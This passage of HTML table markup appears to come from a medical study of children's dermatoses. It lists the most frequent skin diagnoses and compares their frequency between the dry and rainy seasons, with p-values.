</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (50.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table VI:</strong> Distribution of dermatoses by etiological groups versus age,</span></span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"width:50.0%\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Dermatoses</span></strong></p>\r\n			</td>\r\n			<td style=\"width:50.0%\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">n (%)</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:50.0%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Atopic dermatitis</span></p>\r\n			</td>\r\n			<td style=\"width:50.0%\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">(91) 11.1</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:50.0%\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Prurigostrophulus</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0%\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">(89) 10.9</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:50.0%\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Impetigo</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0%\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">(61) 7.5</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:50.0%\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Tinea capitis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0%\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">(55) 6.7</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:50.0%\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Scabiosa</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0%\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">(53) 6.5</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:50.0%\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Sudamina</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0%\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">(53) 5.6</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:50.0%\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Pityriasis rosea of Gibert</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0%\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">(34) 4.2</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:50.0%\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Acne vulgaris</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0%\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">(31) 3.8</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:50.0%\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Urticaria</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0%\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">(28) 3.4</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:50.0%\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Tinea corporis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0%\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">(26) 3.2</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table VII:</strong> Most frequent diagnoses of children&#39;s dermatoses.</span></span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Dermatosis</span></strong></p>\r\n			</td>\r\n			<td style=\"width:78.0pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Dry season</span></strong></p>\r\n\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">n=442</span></strong></p>\r\n			</td>\r\n			<td style=\"width:106.3pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Rainy season</span></strong></p>\r\n\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">n=376</span></strong></p>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">P</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Atopic dermatitis</span></p>\r\n			</td>\r\n			<td style=\"width:78.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">58 (13.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.3pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">33 (8.8)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.066</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Prurigostrophulus</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:78.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">39 (8.8)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.3pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">50 (13.3)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.051</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Impetigo</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:78.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">17 (3.8)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.3pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">44 (11.7)</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">&lt;0.001</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Tinea capitis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:78.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">36 (8.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.3pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">19 (5.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.117</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Scabiosa</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:78.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">29 (6.6)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.3pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">24 (6.4)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.979</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Sudamina</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:78.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">17 (3.8)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.3pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">29 (7.7)</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">0.023</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Pityriasis rosea of Gibert</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:78.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">18 (4.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.3pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">16 (4.3)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.974</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Acne vulgaris</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:78.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">18 (4.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.3pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">13 (3.5)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.793</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Urticaria</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:78.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">17 (3.8)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.3pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">11 (2.9)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.606</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Tinea corporis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:78.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">14 (3.2)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.3pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">12 (3.2)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.964</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Vitiligo</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:78.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">16 (3.6)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.3pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9 (2.4)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.429</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Diaper rash in W</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:78.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9 (2.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.3pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">15 (4.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.138</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Eczematid</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:78.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">17 (3.8)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.3pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6 (1.6)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.091</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Contact dermatit<ins>i</ins>s</span></p>\r\n			</td>\r\n			<td style=\"width:78.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9 (2.0)</span></p>\r\n			</td>\r\n			<td style=\"width:106.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8 (2.1)</span></p>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.883</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Vulgar wart</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:78.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">11 (2.5)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.3pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6 (1.6)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.514</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Hypertrophic scar</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:78.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">13 (2.9)</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.3pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (0.5)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">0.021</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Infant hemangioma</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:78.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8 (1.8)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.3pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6 (1.6)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.960</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Seborrheic dermatitis</span></p>\r\n			</td>\r\n			<td style=\"width:78.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4 (0.9)</span></p>\r\n			</td>\r\n			<td style=\"width:106.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8 (2.1)</span></p>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.256</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">To determine</span></p>\r\n			</td>\r\n			<td style=\"width:78.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4 (0.9)</span></p>\r\n			</td>\r\n			<td style=\"width:106.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6 (1.6)</span></p>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.556</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Pytiriasis versicolor</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:78.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7 (1.6)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.3pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3 (0.8)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.474</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Larva migrans</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:78.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (0.2)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.3pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">8 (2.1)</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">0.022</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Folliculitis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:78.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6 (1.4)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.3pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3 (0.8)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p 